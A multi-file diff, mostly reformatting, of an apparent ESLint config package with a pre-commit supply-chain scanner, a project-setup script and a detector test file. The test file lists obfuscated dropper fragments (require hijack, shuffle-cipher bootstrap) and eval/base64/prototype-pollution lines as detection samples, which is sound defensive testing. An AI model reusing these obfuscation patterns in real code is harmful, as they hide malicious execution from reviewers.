  for (const scriptName of ['preinstall', 'install', 'postinstall']) {
@@ -199,7 +201,7 @@ function scanNewDependencies(repoRoot) {
199
201
 
200
202
  process.stdout.write(`\nSupply-chain scan: ${newPkgs.length} newly added package(s)...\n`)
201
203
 
202
- return newPkgs.flatMap((pkgName) => {
204
+ return newPkgs.flatMap(pkgName => {
203
205
  const findings = []
204
206
  const similar = detectTyposquat(pkgName)
205
207
  if (similar) {
@@ -220,7 +222,7 @@ function scanNewDependencies(repoRoot) {
220
222
  function runAudit(repoRoot) {
221
223
  if (process.env.SECURITY_AUDIT !== '1') return
222
224
 
223
- process.stdout.write(`\nRunning pnpm audit (SECURITY_AUDIT=1)...\n`)
225
+ process.stdout.write('\nRunning pnpm audit (SECURITY_AUDIT=1)...\n')
224
226
  const result = runSafe('pnpm audit --audit-level=high 2>&1')
225
227
  if (result) process.stdout.write(`${DIM}${result}${R}\n`)
226
228
  }
@@ -230,8 +232,8 @@ function runAudit(repoRoot) {
230
232
  function main() {
231
233
  if (process.env.SKIP_SECURITY_SCAN === '1') {
232
234
  process.stderr.write(
233
- `\n${YLW}${BOLD}⚠ SKIP_SECURITY_SCAN=1 — all security checks bypassed.${R}\n`
234
- + `${YLW} This bypass is intentional and has been logged.${R}\n\n`,
235
+ `\n${YLW}${BOLD}⚠ SKIP_SECURITY_SCAN=1 — all security checks bypassed.${R}\n` +
236
+ `${YLW} This bypass is intentional and has been logged.${R}\n\n`
235
237
  )
236
238
  return
237
239
  }
@@ -240,7 +242,7 @@ function main() {
240
242
 
241
243
  printScanHeader('@archipelago/security-scan', 'socket.dev-style pre-commit guard')
242
244
 
243
- const fileFindings = scanStagedFiles()
245
+ const fileFindings = scanStagedFiles()
244
246
  const supplyFindings = scanNewDependencies(repoRoot)
245
247
 
246
248
  runAudit(repoRoot)
@@ -13,24 +13,28 @@ import { CONFIG_FILE_PATTERNS, FILE_PATTERNS, POPULAR_PACKAGES } from './pattern
13
13
 
14
14
  // ─── ANSI colours ──────────────────────────────────────────────────────────────
15
15
 
16
- export const R = '\x1b[0m'
17
- export const RED = '\x1b[31m'
18
- export const YLW = '\x1b[33m'
19
- export const CYN = '\x1b[36m'
20
- export const GRN = '\x1b[32m'
16
+ export const R = '\x1b[0m'
17
+ export const RED = '\x1b[31m'
18
+ export const YLW = '\x1b[33m'
19
+ export const CYN = '\x1b[36m'
20
+ export const GRN = '\x1b[32m'
21
21
  export const BOLD = '\x1b[1m'
22
- export const DIM = '\x1b[2m'
23
- export const HR = `\x1b[2m${'─'.repeat(62)}\x1b[0m`
22
+ export const DIM = '\x1b[2m'
23
+ export const HR = `\x1b[2m${'─'.repeat(62)}\x1b[0m`
24
24
 
25
25
  // ─── Severity badge ────────────────────────────────────────────────────────────
26
26
 
27
27
  /** @param {'critical'|'high'|'medium'|'low'} severity */
28
28
  export function badge(severity) {
29
29
  switch (severity) {
30
- case 'critical': return `${RED}${BOLD}[CRITICAL]${R}`
31
- case 'high': return `${RED}[HIGH] ${R}`
32
- case 'medium': return `${YLW}[MEDIUM] ${R}`
33
- default: return `${CYN}[LOW] ${R}`
30
+ case 'critical':
31
+ return `${RED}${BOLD}[CRITICAL]${R}`
32
+ case 'high':
33
+ return `${RED}[HIGH] ${R}`
34
+ case 'medium':
35
+ return `${YLW}[MEDIUM] ${R}`
36
+ default:
37
+ return `${CYN}[LOW] ${R}`
34
38
  }
35
39
  }
36
40
 
@@ -43,6 +47,7 @@ export function badge(severity) {
43
47
  */
44
48
  export const SELF_REFERENTIAL_SCAN_EXCLUSIONS = [
45
49
  'packages/eslint-config/eslint.config.mjs',
50
+ 'packages/eslint-config/tools/git-hooks/pre-commit.mjs',
46
51
  'packages/eslint-config/tools/git-hooks/pre-push.mjs',
47
52
  'packages/eslint-config/tools/security/patterns.mjs',
48
53
  'packages/eslint-config/tools/security/risks.mjs',
@@ -142,9 +147,7 @@ export function levenshtein(a, b) {
142
147
  for (let j = 0; j <= b.length; j++) dp[0][j] = j
143
148
  for (let i = 1; i <= a.length; i++) {
144
149
  for (let j = 1; j <= b.length; j++) {
145
- dp[i][j] = a[i - 1] === b[j - 1]
146
- ? dp[i - 1][j - 1]
147
- : 1 + Math.min(dp[i - 1][j], dp[i][j - 1], dp[i - 1][j - 1])
150
+ dp[i][j] = a[i - 1] === b[j - 1] ? dp[i - 1][j - 1] : 1 + Math.min(dp[i - 1][j], dp[i][j - 1], dp[i - 1][j - 1])
148
151
  }
149
152
  }
150
153
  return dp[a.length][b.length]
@@ -217,9 +220,7 @@ export function printScanHeader(title, subtitle) {
217
220
  export function printScanFooter(blocking, warnings, blockMessage, bypassHint) {
218
221
  console.log(`\n${HR}`)
219
222
  if (blocking.length === 0) {
220
- const warnNote = warnings.length > 0
221
- ? ` ${DIM}(${warnings.length} warning(s) — review recommended)${R}`
222
- : ''
223
+ const warnNote = warnings.length > 0 ? ` ${DIM}(${warnings.length} warning(s) — review recommended)${R}` : ''
223
224
  console.log(` ${GRN}${BOLD}✔ Security scan passed${R}${warnNote}`)
224
225
  console.log(HR)
225
226
  console.log()
@@ -21,34 +21,34 @@ const testCases = [
21
21
  {
22
22
  label: 'Dropper — global require hijack',
23
23
  expectedId: 'require-global-hijack',
24
- line: "global[_$_1e42[0]]= require;",
24
+ line: 'global[_$_1e42[0]]= require;',
25
25
  },
26
26
  {
27
27
  label: 'Dropper — global bracket assignment via decoded array',
28
28
  expectedId: 'global-bracket-assignment',
29
- line: "global[_$_1e42[2]]= module",
29
+ line: 'global[_$_1e42[2]]= module',
30
30
  },
31
31
  {
32
32
  label: 'Dropper — obfuscated _$_ variable names',
33
33
  expectedId: 'obfuscated-variable-names',
34
- line: "var _$_1e42=(function(l,e){var h=l.length;var g=[];",
34
+ line: 'var _$_1e42=(function(l,e){var h=l.length;var g=[];',
35
35
  },
36
36
  {
37
37
  label: 'Dropper — shuffle-cipher IIFE bootstrap',
38
38
  expectedId: 'shuffle-cipher-iife',
39
- line: `var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j<h;j++){g[j]=l.charAt(j)};for(var j=0;j<h;j++){var s=e*(j+489)+(e%19597);var w=e*(j+659)+(e%48014);var t=s%h;var p=w%h;var y=g[t];g[t]=g[p];g[p]=y;e=(s+w)%4573868};return g.join('')})("rmcej%otb%",2857687)`,
39
+ line: 'var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j<h;j++){g[j]=l.charAt(j)};for(var j=0;j<h;j++){var s=e*(j+489)+(e%19597);var w=e*(j+659)+(e%48014);var t=s%h;var p=w%h;var y=g[t];g[t]=g[p];g[p]=y;e=(s+w)%4573868};return g.join(\'\')})("rmcej%otb%",2857687)',
40
40
  },
41
41
  {
42
42
  label: 'Dropper — array-based Function call chain (final execution)',
43
43
  expectedId: 'array-fn-call-chain',
44
- line: "var Tgw=jFD(LQI,pYd );Tgw(2509);",
44
+ line: 'var Tgw=jFD(LQI,pYd );Tgw(2509);',
45
45
  },
46
46
 
47
47
  // ── Classic attack patterns ───────────────────────────────────────────────
48
48
  {
49
49
  label: 'eval() call',
50
50
  expectedId: 'no-eval',
51
- line: "const x = eval(someVar)",
51
+ line: 'const x = eval(someVar)',
52
52
  },
53
53
  {
54
54
  label: 'new Function() call',
@@ -58,22 +58,22 @@ const testCases = [
58
58
  {
59
59
  label: 'Buffer base64 decode',
60
60
  expectedId: 'base64-decode',
61
- line: `const payload = Buffer.from('abc123', 'base64').toString()`,
61
+ line: "const payload = Buffer.from('abc123', 'base64').toString()",
62
62
  },
63
63
  {
64
64
  label: 'String.fromCharCode obfuscation',
65
65
  expectedId: 'charcode-obfuscation',
66
- line: "const s = String.fromCharCode(104, 101, 108, 108, 111, 32, 119, 111, 114)",
66
+ line: 'const s = String.fromCharCode(104, 101, 108, 108, 111, 32, 119, 111, 114)',
67
67
  },
68
68
  {
69
69
  label: 'Hex-escaped string payload',
70
70
  expectedId: 'hex-string-obfuscation',
71
- line: `const k='\\x68\\x65\\x6c\\x6c\\x6f\\x77\\x6f\\x72\\x6c\\x64\\x68\\x65\\x6c\\x6c\\x6f\\x77\\x6f\\x72\\x6c\\x64\\x20\\x68'`,
71
+ line: "const k='\\x68\\x65\\x6c\\x6c\\x6f\\x77\\x6f\\x72\\x6c\\x64\\x68\\x65\\x6c\\x6c\\x6f\\x77\\x6f\\x72\\x6c\\x64\\x20\\x68'",
72
72
  },
73
73
  {
74
74
  label: 'Prototype pollution',
75
75
  expectedId: 'prototype-pollution',
76
- line: "obj.__proto__ = { admin: true }",
76
+ line: 'obj.__proto__ = { admin: true }',
77
77
  },
78
78
  {
79
79
  label: 'child_process in config',
@@ -97,14 +97,11 @@ for (const tc of testCases) {
97
97
  console.log(`${GRN}✔${R} ${tc.label}`)
98
98
  console.log(` ${YLW}→ [${hit.severity.toUpperCase()}] ${hit.id}${R}`)
99
99
  passed++
100
- }
101
- else {
100
+ } else {
102
101
  console.log(`${RED}${BOLD}✖ ${tc.label}${R}`)
103
102
  console.log(` Expected pattern id: ${tc.expectedId}`)
104
- if (matched.length > 0)
105
- console.log(` (other matches: ${matched.map(p => p.id).join(', ')})`)
106
- else
107
- console.log(` (no patterns matched this line)`)
103
+ if (matched.length > 0) console.log(` (other matches: ${matched.map(p => p.id).join(', ')})`)
104
+ else console.log(' (no patterns matched this line)')
108
105
  failed++
109
106
  }
110
107
  }
@@ -13,19 +13,16 @@ function log(msg) {
13
13
 
14
14
  function getProjectRoot() {
15
15
  const root = process.env.INIT_CWD || process.cwd()
16
- if (!existsSync(join(root, 'package.json')))
17
- return null
16
+ if (!existsSync(join(root, 'package.json'))) return null
18
17
  return root
19
18
  }
20
19
 
21
20
  function ensureDir(dirPath) {
22
- if (!existsSync(dirPath))
23
- mkdirSync(dirPath, { recursive: true })
21
+ if (!existsSync(dirPath)) mkdirSync(dirPath, { recursive: true })
24
22
  }
25
23
 
26
24
  function writeIfMissing(filePath, content) {
27
- if (existsSync(filePath))
28
- return false
25
+ if (existsSync(filePath)) return false
29
26
  writeFileSync(filePath, content, 'utf8')
30
27
  return true
31
28
  }
@@ -56,8 +53,7 @@ indent_size = 2
56
53
  [Makefile]
57
54
  indent_style = tab
58
55
  `
59
- if (writeIfMissing(editorConfigPath, content))
60
- log('Created .editorconfig')
56
+ if (writeIfMissing(editorConfigPath, content)) log('Created .editorconfig')
61
57
  }
62
58
 
63
59
  // ─── .eslint-user-ignore ────────────────────────────────────────────────────
@@ -80,8 +76,7 @@ function ensureEslintUserIgnore(projectRoot) {
80
76
  # docs/**
81
77
  # *.pdf
82
78
  `
83
- if (writeIfMissing(ignorePath, content))
84
- log('Created .eslint-user-ignore')
79
+ if (writeIfMissing(ignorePath, content)) log('Created .eslint-user-ignore')
85
80
  }
86
81
 
87
82
  // ─── eslint.config.mjs ─────────────────────────────────────────────────────
@@ -97,8 +92,7 @@ export default createArchipelagoConfig({
97
92
  },
98
93
  })
99
94
  `
100
- if (writeIfMissing(eslintConfigPath, content))
101
- log('Created eslint.config.mjs')
95
+ if (writeIfMissing(eslintConfigPath, content)) log('Created eslint.config.mjs')
102
96
  }
103
97
 
104
98
  // ─── .prettierrc ────────────────────────────────────────────────────────────
@@ -110,8 +104,7 @@ function ensurePrettierConfig(projectRoot) {
110
104
  export default config
111
105
  `
112
106
 
113
- if (writeIfMissing(prettierModuleConfigPath, prettierModuleConfigContent))
114
- log('Created prettier.config.mjs')
107
+ if (writeIfMissing(prettierModuleConfigPath, prettierModuleConfigContent)) log('Created prettier.config.mjs')
115
108
 
116
109
  const prettierPath = join(projectRoot, '.prettierrc')
117
110
  const defaults = {
@@ -135,14 +128,11 @@ export default config
135
128
  const plugins = Array.isArray(current.plugins) ? current.plugins : []
136
129
  const deduped = [...new Set([...plugins, 'prettier-plugin-tailwindcss'])]
137
130
  current.plugins = deduped
138
- if (typeof current.singleQuote !== 'boolean')
139
- current.singleQuote = true
140
- if (typeof current.semi !== 'boolean')
141
- current.semi = false
131
+ if (typeof current.singleQuote !== 'boolean') current.singleQuote = true
132
+ if (typeof current.semi !== 'boolean') current.semi = false
142
133
  writeFileSync(prettierPath, `${JSON.stringify(current, null, 2)}\n`, 'utf8')
143
134
  log('Updated .prettierrc')
144
- }
145
- catch {
135
+ } catch {
146
136
  // Keep existing file untouched if it is not JSON.
147
137
  }
148
138
  }
@@ -151,8 +141,7 @@ function ensureCommitlintConfig(projectRoot) {
151
141
  const commitlintConfigPath = join(projectRoot, 'commitlint.config.cjs')
152
142
  const content = `module.exports = require('@archpublicwebsite/eslint-config/commitlint')
153
143
  `
154
- if (writeIfMissing(commitlintConfigPath, content))
155
- log('Created commitlint.config.cjs')
144
+ if (writeIfMissing(commitlintConfigPath, content)) log('Created commitlint.config.cjs')
156
145
  }
157
146
 
158
147
  function ensureLintStagedConfig(projectRoot) {
@@ -161,8 +150,7 @@ function ensureLintStagedConfig(projectRoot) {
161
150
 
162
151
  export default config
163
152
  `
164
- if (writeIfMissing(lintStagedConfigPath, content))
165
- log('Created lint-staged.config.mjs')
153
+ if (writeIfMissing(lintStagedConfigPath, content)) log('Created lint-staged.config.mjs')
166
154
  }
167
155
 
168
156
  function ensurePrettierIgnore(projectRoot) {
@@ -178,8 +166,7 @@ pnpm-lock.yaml
178
166
  package-lock.json
179
167
  yarn.lock
180
168
  `
181
- if (writeIfMissing(prettierIgnorePath, content))
182
- log('Created .prettierignore')
169
+ if (writeIfMissing(prettierIgnorePath, content)) log('Created .prettierignore')
183
170
  }
184
171
 
185
172
  // ─── .hooks ─────────────────────────────────────────────────────────────────
@@ -233,18 +220,15 @@ node node_modules/@archpublicwebsite/eslint-config/tools/git-hooks/pre-push.mjs
233
220
  created = true
234
221
  }
235
222
  })
236
- if (created)
237
- log('Created .hooks/ (pre-commit, prepare-commit-msg, commit-msg, post-commit, pre-push)')
223
+ if (created) log('Created .hooks/ (pre-commit, prepare-commit-msg, commit-msg, post-commit, pre-push)')
238
224
  }
239
225
 
240
226
  function ensureHooksPath(projectRoot) {
241
- if (!existsSync(join(projectRoot, '.git')))
242
- return
227
+ if (!existsSync(join(projectRoot, '.git'))) return
243
228
  try {
244
229
  execSync('git config core.hooksPath .hooks', { cwd: projectRoot, stdio: 'ignore' })
245
230
  log('Set git core.hooksPath → .hooks')
246
- }
247
- catch {
231
+ } catch {
248
232
  // Ignore setup failures in non-git contexts.
249
233
  }
250
234
  }
@@ -284,8 +268,7 @@ function ensurePackageScripts(projectRoot) {
284
268
  let pkg
285
269
  try {
286
270
  pkg = JSON.parse(readFileSync(packageJsonPath, 'utf8'))
287
- }
288
- catch {
271
+ } catch {
289
272
  return
290
273
  }
291
274
 
@@ -299,7 +282,8 @@ function ensurePackageScripts(projectRoot) {
299
282
  precommit: 'node node_modules/@archpublicwebsite/eslint-config/tools/git-hooks/pre-commit.mjs',
300
283
  prepush: 'node node_modules/@archpublicwebsite/eslint-config/tools/git-hooks/pre-push.mjs',
301
284
  'security:global-scan': 'bash ./node_modules/@archpublicwebsite/eslint-config/tools/security/scan-global.sh',
302
- 'security:safe-check': 'bash ./node_modules/@archpublicwebsite/eslint-config/tools/security/safe-reinstall.sh --check-only',
285
+ 'security:safe-check':
286
+ 'bash ./node_modules/@archpublicwebsite/eslint-config/tools/security/safe-reinstall.sh --check-only',
303
287
  'security:pre-push': 'node node_modules/@archpublicwebsite/eslint-config/tools/git-hooks/pre-push.mjs',
304
288
  }
305
289
 
@@ -311,13 +295,26 @@ function ensurePackageScripts(projectRoot) {
311
295
  }
312
296
  }
313
297
 
298
+ const lintStagedConfigPath = join(projectRoot, 'lint-staged.config.mjs')
299
+ const hasLintStagedConfig = existsSync(lintStagedConfigPath)
300
+
301
+ // Auto-heal legacy/broken lint-staged script when it points to a missing file.
302
+ if (
303
+ typeof scripts['lint-staged'] === 'string' &&
304
+ scripts['lint-staged'].includes('--config lint-staged.config.mjs') &&
305
+ !hasLintStagedConfig
306
+ ) {
307
+ scripts['lint-staged'] = 'lint-staged'
308
+ updated = true
309
+ }
310
+
314
311
  if (!updated) {
315
312
  return
316
313
  }
317
314
 
318
315
  pkg.scripts = scripts
319
316
  writeFileSync(packageJsonPath, `${JSON.stringify(pkg, null, 2)}\n`, 'utf8')
320
- log('Updated package.json scripts (precommit, security:global-scan, security:safe-check)')
317
+ log('Updated package.json scripts (lint-staged, precommit, security:global-scan, security:safe-check)')
321
318
  }
322
319
 
323
320
  // ─── .vscode/extensions.json ────────────────────────────────────────────────
@@ -328,26 +325,24 @@ function ensureVscodeExtensions(projectRoot) {
328
325
 
329
326
  ensureDir(vscodeDir)
330
327
 
331
- const recommended = [
332
- 'dbaeumer.vscode-eslint',
333
- 'esbenp.prettier-vscode',
334
- 'vue.volar',
335
- ]
328
+ const recommended = ['dbaeumer.vscode-eslint', 'esbenp.prettier-vscode', 'vue.volar']
329
+ const unwanted = ['octref.vetur', 'vue.vscode-typescript-vue-plugin']
336
330
 
337
- let current = { recommendations: [] }
331
+ let current = { recommendations: [], unwantedRecommendations: [] }
338
332
  if (existsSync(extPath)) {
339
333
  try {
340
334
  current = JSON.parse(readFileSync(extPath, 'utf8'))
341
- if (!Array.isArray(current.recommendations))
342
- current.recommendations = []
343
- }
344
- catch {
345
- current = { recommendations: [] }
335
+ if (!Array.isArray(current.recommendations)) current.recommendations = []
336
+ if (!Array.isArray(current.unwantedRecommendations)) current.unwantedRecommendations = []
337
+ } catch {
338
+ current = { recommendations: [], unwantedRecommendations: [] }
346
339
  }
347
340
  }
348
341
 
349
342
  const merged = [...new Set([...current.recommendations, ...recommended])]
343
+ const mergedUnwanted = [...new Set([...current.unwantedRecommendations, ...unwanted])]
350
344
  current.recommendations = merged
345
+ current.unwantedRecommendations = mergedUnwanted
351
346
  writeFileSync(extPath, `${JSON.stringify(current, null, 2)}\n`, 'utf8')
352
347
  log('Created/updated .vscode/extensions.json')
353
348
  }
@@ -356,8 +351,7 @@ function ensureVscodeExtensions(projectRoot) {
356
351
 
357
352
  function main() {
358
353
  const projectRoot = getProjectRoot()
359
- if (!projectRoot)
360
- return
354
+ if (!projectRoot) return
361
355
 
362
356
  log('Setting up project...')
363
357
 
@@ -9,20 +9,30 @@ const TAG = '[@archpublicwebsite/eslint-config]'
9
9
  * the correct file types.
10
10
  */
11
11
  const VSCODE_ESLINT_SETTINGS = {
12
+ // Use workspace TypeScript for consistent Volar/TS plugin resolution
13
+ 'typescript.tsdk': 'node_modules/typescript/lib',
14
+ 'typescript.enablePromptUseWorkspaceTsdk': true,
15
+
16
+ // Ensure Vue SFC files are always handled as Vue documents
17
+ 'files.associations': {
18
+ '*.vue': 'vue',
19
+ },
20
+
21
+ // Volar + TS integration for Vue 3 SFC template diagnostics
22
+ 'vue.server.hybridMode': true,
23
+ 'volar.takeOverMode.enabled': true,
24
+
25
+ // Prevent duplicate/broken diagnostics from built-in TS/JS validators
26
+ // (vue-tsc + Volar remain the source of truth for Vue type diagnostics).
27
+ 'typescript.validate.enable': false,
28
+ 'javascript.validate.enable': false,
29
+
12
30
  // Use flat config mode (required for eslint.config.mjs)
13
31
  'eslint.useFlatConfig': true,
32
+ 'eslint.workingDirectories': [{ mode: 'auto' }],
14
33
 
15
34
  // Enable ESLint for these languages
16
- 'eslint.validate': [
17
- 'javascript',
18
- 'javascriptreact',
19
- 'typescript',
20
- 'typescriptreact',
21
- 'vue',
22
- 'json',
23
- 'jsonc',
24
- 'markdown',
25
- ],
35
+ 'eslint.validate': ['javascript', 'javascriptreact', 'typescript', 'typescriptreact', 'vue', 'json', 'jsonc'],
26
36
 
27
37
  // Auto-fix on save via ESLint
28
38
  'editor.codeActionsOnSave': {
@@ -33,7 +43,22 @@ const VSCODE_ESLINT_SETTINGS = {
33
43
  // Let ESLint handle formatting instead of the built-in formatter
34
44
  'editor.formatOnSave': false,
35
45
 
36
- // Disable the default VS Code JSON formatter for files ESLint handles
46
+ // Formatters per language ESLint enforces no-semi, single-quote on save
47
+ '[javascript]': {
48
+ 'editor.defaultFormatter': 'dbaeumer.vscode-eslint',
49
+ },
50
+ '[javascriptreact]': {
51
+ 'editor.defaultFormatter': 'dbaeumer.vscode-eslint',
52
+ },
53
+ '[typescript]': {
54
+ 'editor.defaultFormatter': 'dbaeumer.vscode-eslint',
55
+ },
56
+ '[typescriptreact]': {
57
+ 'editor.defaultFormatter': 'dbaeumer.vscode-eslint',
58
+ },
59
+ '[vue]': {
60
+ 'editor.defaultFormatter': 'Vue.volar',
61
+ },
37
62
  '[json]': {
38
63
  'editor.defaultFormatter': 'dbaeumer.vscode-eslint',
39
64
  },
@@ -71,16 +96,15 @@ function deepMerge(target, source) {
71
96
  const srcVal = source[key]
72
97
  const tgtVal = result[key]
73
98
  if (
74
- srcVal !== null
75
- && typeof srcVal === 'object'
76
- && !Array.isArray(srcVal)
77
- && tgtVal !== null
78
- && typeof tgtVal === 'object'
79
- && !Array.isArray(tgtVal)
99
+ srcVal !== null &&
100
+ typeof srcVal === 'object' &&
101
+ !Array.isArray(srcVal) &&
102
+ tgtVal !== null &&
103
+ typeof tgtVal === 'object' &&
104
+ !Array.isArray(tgtVal)
80
105
  ) {
81
106
  result[key] = deepMerge(tgtVal, srcVal)
82
- }
83
- else {
107
+ } else {
84
108
  result[key] = srcVal
85
109
  }
86
110
  }
@@ -107,8 +131,7 @@ export function ensureVscodeSettings(projectRoot) {
107
131
  try {
108
132
  const raw = readFileSync(settingsPath, 'utf8')
109
133
  current = JSON.parse(raw)
110
- }
111
- catch {
134
+ } catch {
112
135
  // File exists but is not valid JSON – back it up and start fresh
113
136
  const backupPath = `${settingsPath}.backup`
114
137
  writeFileSync(backupPath, readFileSync(settingsPath, 'utf8'), 'utf8')